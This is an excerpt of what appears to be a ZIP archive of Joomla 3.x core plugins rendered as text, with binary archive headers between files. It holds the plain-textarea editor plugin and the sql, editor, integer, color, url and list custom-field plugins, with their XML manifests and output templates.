                        'href' => $href,
                        'onclick' => $onclick,
                        'svg' => $button->get('iconSVG'),
                        'options' => $button->get('options', array())
                    );
                }
            }
        }

        return $list;
    }

    private function getXtdButtons($name, $buttons, $asset, $author)
    {
        $xtdbuttons = array();
        if (is_array($buttons) || (is_bool($buttons) && $buttons)) {
            $buttonsEvent = new Joomla\Event\Event(
                'getButtons',
                [
                    'editor' => $name,
                    'buttons' => $buttons,
                ]
            );
            if (method_exists($this, 'getDispatcher')) {
                $buttonsResult = $this->getDispatcher()->dispatch('getButtons', $buttonsEvent);
                $xtdbuttons = $buttonsResult['result'];
            } else {
                $xtdbuttons = $this->_subject->getButtons($name, $buttons, $asset, $author);
            }
        }
        return $xtdbuttons;
    }

    private function displayButtons($name, $buttons, $asset, $author)
    {
        $buttons = $this->getXtdButtons($name, $buttons, $asset, $author);

        if (!empty($buttons)) {
            // fix some legacy buttons
            array_walk($buttons, function ($button) {
                $cls = $button->get('class', '');
                if (empty($cls) || strpos($cls, 'btn') === false) {
                    $cls .= ' btn';
                    $button->set('class', trim($cls));
                }
            });

            return LayoutHelper::render('joomla.editors.buttons', $buttons);
        }
    }
}
PK�(]3�8b��editors/none/none.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors" method="upgrade">
	<name>plg_editors_none</name>
	<version>3.0.0</version>
	<creationDate>September 2005</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<description>PLG_NONE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="none">none.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors_none.ini</language>
		<language tag="en-GB">en-GB.plg_editors_none.sys.ini</language>
	</languages>
</extension>
PK�(]B�C_uueditors/none/none.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.none
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plain Textarea Editor Plugin
 *
 * @since  1.5
 */
class PlgEditorNone extends JPlugin
{
	/**
	 * Method to handle the onInitEditor event.
	 *  - Initialises the Editor
	 *
	 * @return  void
	 *
	 * @since 1.5
	 */
	public function onInit()
	{
		JHtml::_('script', 'editors/none/none.min.js', array('version' => 'auto', 'relative' => true));
	}

	/**
	 * Copy editor content to form field.
	 *
	 * Not applicable in this editor.
	 *
	 * @param   string  $editor  the editor id
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSave($editor)
	{
	}

	/**
	 * Get the editor content.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return 'Joomla.editors.instances[' . json_encode($id) . '].getValue();';
	}

	/**
	 * Set the editor content.
	 *
	 * @param   string  $id    The id of the editor field.
	 * @param   string  $html  The content to set.
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $html)
	{
		return 'Joomla.editors.instances[' . json_encode($id) . '].setValue(' . json_encode($html) . ');';
	}

	/**
	 * Inserts html code into the editor
	 *
	 * @param   string  $id  The id of the editor field
	 *
	 * @return  void
	 *
	 * @deprecated 4.0
	 */
	public function onGetInsertMethod($id)
	{
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The control name.
	 * @param   string   $content  The contents of the text area.
	 * @param   string   $width    The width of the text area (px or %).
	 * @param   string   $height   The height of the text area (px or %).
	 * @param   integer  $col      The number of columns for the textarea.
	 * @param   integer  $row      The number of rows for the textarea.
	 * @param   boolean  $buttons  True and the editor buttons will be displayed.
	 * @param   string   $id       An optional ID for the textarea (note: since 1.6). If not supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 */
	public function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true,
		$id = null, $asset = null, $author = null, $params = array())
	{
		if (empty($id))
		{
			$id = $name;
		}

		// Only add "px" to width and height if they are not given as a percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		$readonly = !empty($params['readonly']) ? ' readonly disabled' : '';

		$editor = '<div class="js-editor-none">'
			. '<textarea name="' . $name . '" id="' . $id . '" cols="' . $col . '" rows="' . $row
			. '" style="width: ' . $width . '; height: ' . $height . ';"' . $readonly . '>' . $content . '</textarea>'
			. $this->_displayButtons($id, $buttons, $asset, $author)
			. '</div>';

		return $editor;
	}

	/**
	 * Displays the editor buttons.
	 *
	 * @param   string  $name     The control name.
	 * @param   mixed   $buttons  [array with button objects | boolean true to display buttons]
	 * @param   string  $asset    The object asset
	 * @param   object  $author   The author.
	 *
	 * @return  void|string HTML
	 */
	public function _displayButtons($name, $buttons, $asset, $author)
	{
		if (is_array($buttons) || (is_bool($buttons) && $buttons))
		{
			$buttons = $this->_subject->getButtons($name, $buttons, $asset, $author);

			return JLayoutHelper::render('joomla.editors.buttons', $buttons);
		}
	}
}
PK�(]$צ?��fields/sql/params/sql.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="query"
				type="textarea"
				label="PLG_FIELDS_SQL_PARAMS_QUERY_LABEL"
				description="PLG_FIELDS_SQL_PARAMS_QUERY_DESC"
				filter="raw"
				rows="10"
				required="true"
			/>

			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_SQL_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_SQL_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]�:W��fields/sql/sql.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_sql</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_SQL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sql">sql.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_sql.ini</language>
		<language tag="en-GB">en-GB.plg_fields_sql.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="query"
					type="textarea"
					label="PLG_FIELDS_SQL_PARAMS_QUERY_LABEL"
					description="PLG_FIELDS_SQL_PARAMS_QUERY_DESC"
					rows="10"
					filter="raw"
					required="true"
				/>

				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_SQL_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_SQL_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�>��NNfields/sql/sql.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Sql
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Sql Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsSql extends FieldsListPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('value_field', 'text');
		$fieldNode->setAttribute('key_field', 'value');

		return $fieldNode;
	}

	/**
	 * The save event.
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $item     The table
	 * @param   boolean  $isNew    Is new item
	 * @param   array    $data     The validated data
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentBeforeSave($context, $item, $isNew, $data = array())
	{
		// Only work on new SQL fields
		if ($context != 'com_fields.field' || !isset($item->type) || $item->type != 'sql')
		{
			return true;
		}

		// If we are not a super admin, don't let the user create or update a SQL field
		if (!JAccess::getAssetRules(1)->allow('core.admin', JFactory::getUser()->getAuthorisedGroups()))
		{
			$item->setError(JText::_('PLG_FIELDS_SQL_CREATE_NOT_POSSIBLE'));

			return false;
		}

		return true;
	}
}
PK�(]���
��fields/sql/tmpl/sql.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Sql
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

$db        = JFactory::getDbo();
$value     = (array) $value;
$condition = '';

foreach ($value as $v)
{
	if (!$v)
	{
		continue;
	}

	$condition .= ', ' . $db->q($v);
}

$query = $fieldParams->get('query', '');

// Run the query with a having condition because it supports aliases
$db->setQuery($query . ' having value in (' . trim($condition, ',') . ')');

try
{
	$items = $db->loadObjectlist();
}
catch (Exception $e)
{
	// If the query failed, we fetch all elements
	$db->setQuery($query);
	$items = $db->loadObjectlist();
}

$texts = array();

foreach ($items as $item)
{
	if (in_array($item->value, $value))
	{
		$texts[] = $item->text;
	}
}

echo htmlentities(implode(', ', $texts));
PK�(]3\��fields/editor/params/editor.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="buttons"
				type="list"
				label="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_LABEL"
				description="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="hide"
				type="plugins"
				label="PLG_FIELDS_EDITOR_PARAMS_BUTTONS_HIDE_LABEL"
				description="JGLOBAL_SELECT_SOME_OPTIONS"
				folder="editors-xtd"
				multiple="true"
			/>

			<field
				name="width"
				type="text"
				label="PLG_FIELDS_EDITOR_PARAMS_WIDTH_LABEL"
				description="PLG_FIELDS_EDITOR_PARAMS_WIDTH_DESC"
				size="5"
			/>

			<field
				name="height"
				type="text"
				label="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_LABEL"
				description="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_DESC"
				size="5"
			/>

			<field
				name="filter"
				type="list"
				label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL"
				description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC"
				class="btn-group"
				validate="options"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="0">JNO</option>
				<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
				<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
				<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]���
A	A	fields/editor/editor.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_editor</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_EDITOR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="editor">editor.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_editor.ini</language>
		<language tag="en-GB">en-GB.plg_fields_editor.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="buttons"
					type="radio"
					label="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_LABEL"
					description="PLG_FIELDS_EDITOR_PARAMS_SHOW_BUTTONS_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="hide"
					type="plugins"
					label="PLG_FIELDS_EDITOR_PARAMS_BUTTONS_HIDE_LABEL"
					description="JGLOBAL_SELECT_SOME_OPTIONS"
					folder="editors-xtd"
					multiple="true"
				/>

				<field
					name="width"
					type="text"
					label="PLG_FIELDS_EDITOR_PARAMS_WIDTH_LABEL"
					description="PLG_FIELDS_EDITOR_PARAMS_WIDTH_DESC"
					default="100%"
					size="5"
				/>

				<field
					name="height"
					type="text"
					label="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_LABEL"
					description="PLG_FIELDS_EDITOR_PARAMS_HEIGHT_DESC"
					default="250px"
					size="5"
				/>

				<field
					name="filter"
					type="list"
					label="PLG_FIELDS_EDITOR_PARAMS_FILTER_LABEL"
					description="PLG_FIELDS_EDITOR_PARAMS_FILTER_DESC"
					class="btn-group"
					default="JComponentHelper::filterText"
					validate="options"
					>
					<option value="0">JNO</option>
					<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
					<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
					<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]Ƌ�O��fields/editor/editor.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Editor
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Editor Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsEditor extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('buttons', $field->fieldparams->get('buttons', $this->params->get('buttons', 0)) ? 'true' : 'false');
		$fieldNode->setAttribute('hide', implode(',', $field->fieldparams->get('hide', array())));

		return $fieldNode;
	}
}
PK�(]����fffields/editor/tmpl/editor.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Editor
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

echo JHtml::_('content.prepare', $value);
PK�(]t�޽�fields/integer/tmpl/integer.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Integer
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

if (is_array($value))
{
	$value = implode(', ', array_map('intval', $value));
}
else
{
	$value = (int) $value;
}

echo $value;
PK�(]!��D!fields/integer/params/integer.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="first"
				type="number"
				label="PLG_FIELDS_INTEGER_PARAMS_FIRST_LABEL"
				description="PLG_FIELDS_INTEGER_PARAMS_FIRST_DESC"
				filter="integer"
				size="5"
			/>

			<field
				name="last"
				type="number"
				label="PLG_FIELDS_INTEGER_PARAMS_LAST_LABEL"
				description="PLG_FIELDS_INTEGER_PARAMS_LAST_DESC"
				filter="integer"
				size="5"
			/>

			<field
				name="step"
				type="number"
				label="PLG_FIELDS_INTEGER_PARAMS_STEP_LABEL"
				description="PLG_FIELDS_INTEGER_PARAMS_STEP_DESC"
				filter="integer"
				size="5"
			/>
		</fieldset>
	</fields>
</form>
PK�(](�-ttfields/integer/integer.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_integer</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_INTEGER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="integer">integer.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_integer.ini</language>
		<language tag="en-GB">en-GB.plg_fields_integer.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_INTEGER_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="first"
					type="number"
					label="PLG_FIELDS_INTEGER_PARAMS_FIRST_LABEL"
					description="PLG_FIELDS_INTEGER_PARAMS_FIRST_DESC"
					default="1"
					filter="integer"
					size="5"
				/>

				<field
					name="last"
					type="number"
					label="PLG_FIELDS_INTEGER_PARAMS_LAST_LABEL"
					description="PLG_FIELDS_INTEGER_PARAMS_LAST_DESC"
					default="100"
					filter="integer"
					size="5"
				/>

				<field
					name="step"
					type="number"
					label="PLG_FIELDS_INTEGER_PARAMS_STEP_LABEL"
					description="PLG_FIELDS_INTEGER_PARAMS_STEP_DESC"
					default="1"
					filter="integer"
					size="5"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(],q���fields/integer/integer.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Integer
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Integer Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsInteger extends FieldsPlugin
{
}
PK�(]�E!���fields/color/tmpl/color.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Color
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

if (is_array($value))
{
	$value = implode(', ', $value);
}

echo htmlentities($value);
PK�(]1�?fields/color/color.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_color</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_COLOR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="color">color.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_color.ini</language>
		<language tag="en-GB">en-GB.plg_fields_color.sys.ini</language>
	</languages>
</extension>
PK�(]Y�		fields/color/color.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Color
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Color Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsColor extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('validate', 'color');

		return $fieldNode;
	}
}
PK�(]z��""fields/url/tmpl/url.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.URL
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

$attributes = '';

if (!JUri::isInternal($value))
{
	$attributes = ' rel="nofollow noopener noreferrer" target="_blank"';
}

echo sprintf('<a href="%s"%s>%s</a>',
	htmlspecialchars($value),
	$attributes,
	htmlspecialchars($value)
);
PK�(]D��ddfields/url/url.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.URL
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields URL Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsUrl extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('validate', 'url');

		if (! $fieldNode->getAttribute('relative'))
		{
			$fieldNode->removeAttribute('relative');
		}

		return $fieldNode;
	}
}
PK�(]�6��fields/url/url.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_url</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_URL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="url">url.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_url.ini</language>
		<language tag="en-GB">en-GB.plg_fields_url.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="schemes"
					type="list"
					label="PLG_FIELDS_URL_PARAMS_SCHEMES_LABEL"
					description="PLG_FIELDS_URL_PARAMS_SCHEMES_DESC"
					multiple="true"
					>
					<option value="http">HTTP</option>
					<option value="https">HTTPS</option>
					<option value="ftp">FTP</option>
					<option value="ftps">FTPS</option>
					<option value="file">FILE</option>
					<option value="mailto">MAILTO</option>
				</field>

				<field
					name="relative"
					type="radio"
					label="PLG_FIELDS_URL_PARAMS_RELATIVE_LABEL"
					description="PLG_FIELDS_URL_PARAMS_RELATIVE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]`�o�ppfields/url/params/url.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="schemes"
				type="list"
				label="PLG_FIELDS_URL_PARAMS_SCHEMES_LABEL"
				description="PLG_FIELDS_URL_PARAMS_SCHEMES_DESC"
				multiple="true"
				>
				<option value="http">HTTP</option>
				<option value="https">HTTPS</option>
				<option value="ftp">FTP</option>
				<option value="ftps">FTPS</option>
				<option value="file">FILE</option>
				<option value="mailto">MAILTO</option>
			</field>

			<field
				name="relative"
				type="list"
				label="PLG_FIELDS_URL_PARAMS_RELATIVE_LABEL"
				description="PLG_FIELDS_URL_PARAMS_RELATIVE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]�ӃZXXfields/list/tmpl/list.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.List
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$fieldValue = $field->value;

if ($fieldValue == '')
{
	return;
}

$fieldValue = (array) $fieldValue;
$texts      = array();
$options    = $this->getOptionsFromField($field);

foreach ($options as $value => $name)
{
	if (in_array((string) $value, $fieldValue))
	{
		$texts[] = JText::_($name);
	}
}


echo htmlentities(implode(', ', $texts));
PK�(]�e�fields/list/list.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_list</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_LIST_XML_DESCRIPTION</description>
	<files>
		<filename plugin="list">list.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_list.ini</language>
		<language tag="en-GB">en-GB.plg_fields_list.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_LIST_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_LIST_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="options"
					type="subform"
					label="PLG_FIELDS_LIST_PARAMS_OPTIONS_LABEL"
					description="PLG_FIELDS_LIST_PARAMS_OPTIONS_DESC"
					layout="joomla.form.field.subform.repeatable-table"
					icon="list"
					multiple="true"
					>
					<form hidden="true" name="list_templates_modal" repeat="true">
						<field
							name="name"
							type="text"
							label="PLG_FIELDS_LIST_PARAMS_OPTIONS_NAME_LABEL"
							size="30"
						/>

						<field
							name="value"
							type="text"
							label="PLG_FIELDS_LIST_PARAMS_OPTIONS_VALUE_LABEL"
							size="30"
						/>
					</form>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]{Rx  fields/list/list.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.List
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR);

/**
 * Fields list Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsList extends FieldsListPlugin
{
	/**
	 * Prepares the field
	 *
	 * @param   string    $context  The context.
	 * @param   stdclass  $item     The item.
	 * @param   stdclass  $field    The field.
	 *
	 * @return  object
	 *
	 * @since   3.9.2
	 */
	public function onCustomFieldsPrepareField($context, $item, $field)
	{
		// Check if the field should be processed
		if (!$this->isTypeSupported($field->type))
		{
			return;
		}

		// The field's rawvalue should be an array
